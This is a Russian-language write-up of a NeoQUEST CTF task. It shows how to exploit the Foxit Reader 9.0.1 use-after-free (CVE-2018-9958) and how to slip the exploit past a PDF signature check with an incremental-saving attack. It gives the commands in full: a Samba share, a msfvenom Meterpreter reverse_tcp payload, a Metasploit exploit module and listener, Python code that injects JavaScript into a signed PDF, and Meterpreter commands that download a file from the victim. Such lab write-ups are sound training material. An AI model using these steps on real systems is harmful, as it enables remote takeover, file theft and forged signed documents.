Эксплуатируем уязвимость Foxit Reader и обходим цифровую подпись на примере задания NeoQUEST-2020

Эксплуатируем уязвимость Foxit Reader и обходим цифровую подпись на примере задания NeoQUEST-2020
Сегодня мы расскажем о самом сложном задании NeoQUEST- 2019 2020. Да-да, то самое, с цифровыми подписями и эксплуатацией уязвимости Foxit Reader. Да-да, все верно, существуют две версии этого задания, и в этой статье мы наконец как следует его разберем. Добро пожаловать под кат :)

Изначально задание было разработано для очной ставки NeoQUEST-2019 , однако так и осталось непокоренным непройденным. Мы его немного видоизменили и предложили решить участникам онлайн-этапа NeoQUEST-2020 . Однако на сложность задания наши изменения не повлияли — его прошли всего 2 человека!
Итак, первая версия предусматривала прохождение в локальной сети, а вторая в глобальной сети интернет, для чего необходимо провести некоторые манипуляции с эксплоитом и его шеллкодом.
В легенде NeoQUEST-2020 был дан IP-адрес, при переходе по которому участники видели форму отправки заявлений, а также список требований к ним и пример корректного заявления. Первым делом внимательно изучим пример заявления: вдруг там будет что-то интересное? И правда, сразу же замечаем деталь:


Похоже, здесь используется Foxit Reader 9.0.1. Нам дано название ПО и его версия, хммм… Может, речь идет о какой-то уязвимости? И мы абсолютно правы: эта версия имеет use-after-free уязвимость, получившую идентификатор CVE-2018-9958. Эксплойт для уязвимости есть в Metasploit (что уже половина успеха, не правда ли?), почему бы не попробовать?
Эта уязвимость позволяет скачивать файлы с удаленной шары. Рассмотрим эксплуатацию данной уязвимости на примере оригинального задания 2019 года.

Итак, в 2019 году форма отправки заявлений находилась по адресу 192.168.108.129. Первым делом запускаем Kali Linux. Также нужно поднять шару, с которой будет запускаться основная полезная нагрузка – Meterpreter. Для этого скачиваем/обновляем samba-сервер:
sudo apt-get install samba

Затем создаем папку, которую будем шарить:
mkdir /mnt/files sudo chmod 777 /mnt/files 

Теперь нужно сконфигурировать samba-сервер. Для этого следует открыть конфигурационный файл /etc/samba/smb.conf и вставить туда следующий текст:
[global] security = user workgroup = MYGROUP server string = Samba guest account = nobody map to guest = Bad User  [share] path = /mnt/files browseable = Yes guest ok = Yes writeable = Yes public = yes 

Последнее, что нужно сделать – перезапустить службы samba:
service smbd restart service nmbd restart 

Вот и все. Теперь содержимое папки /mnt/files доступно по адресу 192.168.108.130share.
Следующий шаг – подготовка самого эксплойта. Для этого сконфигурируем Meterpreter и положим его на шару:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.108.130 LPORT=4444 --arch x86 -f exe -o /mnt/files/exploit.exe sudo chmod 777 /mnt/files/exploit.exe 

Теперь создадим PDF-файл с эксплойтом:
msfconsole use exploit/windows/fileformat/foxit_reader_uaf set LHOST 192.168.108.130 set EXENAME exploit.exe set SHARE share run 

Включаем обработчик, который будет устанавливать связь с Meterpreter, когда он запустится на машине-жертве:
use multi/handler set PAYLOAD windows/meterpreter/reverse_tcp set LHOST 192.168.108.130 set EXITONSESSION false run -j 

Вот и все! В версии задания 2020 года так проэксплутировать не выйдет (только если у вас нет внешнего IP, на котором вы можете поднять smb шару). Поэтому для прохождения этого задания в online-этапе необходимо проанализировать эксплоит и в качестве шеллкода залить свою полезную нагрузку, реализующую, например, reverse (если есть внешний IP) или bind shell. Предлагаем самостоятельно попробовать проэксплуатировать уязвимость, ведь лучше один раз сделать самому, чем сто раз прочитать!

Осталось загрузить созданный PDF-документ в систему приема заявлений, и…

…ничего не происходит, так как файл не подписан! Похоже, система проверяет подпись какими-то дополнительными средствами перед тем, как документ открывается в Foxit Reader. Следовательно, нужно придумать, как обойти проверку подписи.

Три наиболее свежих техники обхода подписи для PDF-файлов имеют идентификаторы CVE-2018-16042, CVE-2018-18688 и CVE-2018-18689. К счастью, группа исследователей, обнаружившая эти уязвимости, опубликовала примеры PDF-файлов для проверки. Проверим, как система будет реагировать на каждую атаку.
Атака Universal Signature Forgery: Реакция системы такая же, как и на неподписанный файл. Похоже, подпись не распознается.
Атака Signature Wrapping: Тот же результат, атака не работает.
А вот атака Incremental Saving Attack:

Мы почти у цели! Система проверила подпись и сообщила, что она не принадлежит сотруднику компании. Но у нас есть пример документа с подписью сотрудника! Значит, все, что остается – проявить ловкость рук и использовать Incremental Saving, чтобы встроить эксплойт, не сломав при этом подпись.

Можно самостоятельно написать библиотеку для низкоуровневой работы с pdf (как задумывал разработчик задания) или просто дописать эксплоит в конец (как сделал тестировщик, когда проходил задание). Если взглянуть на структуру PDF-эксплойта, становится ясно, что он состоит из двух объектов: JS-кода, вызывающего use-after-free и запускающего exe-файл на шаре, и каталога – основного объекта в PDF-файле – задающего в качестве действия при открывании документа вызов JS-кода. Значит, нужно добавить объект с JS-кодом в подписанный документ, а также обновить объект каталога. Сделать это можно следующим образом:
doc = PDF('example.pdf') js_exploit = "...тут много JS-кода..."  obj_1 = Object({'OpenAction': ObjectReference(28),                 'AcroForm': ObjectReference(15),                 'Pages': ObjectReference(1),                 'PageLayout': '/OneColumn',                 'Type': '/Catalog'                 }, id=13) doc.update_object(obj_1, 1)  obj_2 = Object({'S': '/JavaScript',                 'JS': js_exploit                 }) doc.add_new_object(obj_2)  doc.save(root_id=13) 

Что мы видим? Документ успешно проходит проверку подписи! После этого устанавливается новая сессия с Meterpreter, а значит, эксплойт срабатывает (иногда это происходит не с первого раза из-за вероятностной природы use-after-free).

Теперь можно использовать Meterpreter, чтобы найти и скачать файл nq2020_key.txt:
sessions -i 1 search -f nq2020_key.txt download 'C:UsersmanagerDownloads
q2020_key.txt

Ура звучат фанфары и аплодисменты! Мы наконец-то получили ключ! Было сложно, но для наших участников нет ничего невозможного — мы убеждаемся в этом уже который год!
Мы рассказали все секреты заданий online-этапа NeoQUEST-2020, но это вовсе не означает, что мы с вами в этом году не увидимся: 30го сентября состоится традиционная Очная ставка в Санкт-Петербурге!
Мы проведём финал хакерского соревнования, а также расскажем о самых интересных новостях в мире кибербезопасности. Крутые доклады, познавательные воркшопы, telegram-викторина, подарки и многое другое — все это ждет вас уже скоро! До встречи :)
Alt text
Комментарии для сайта Cackle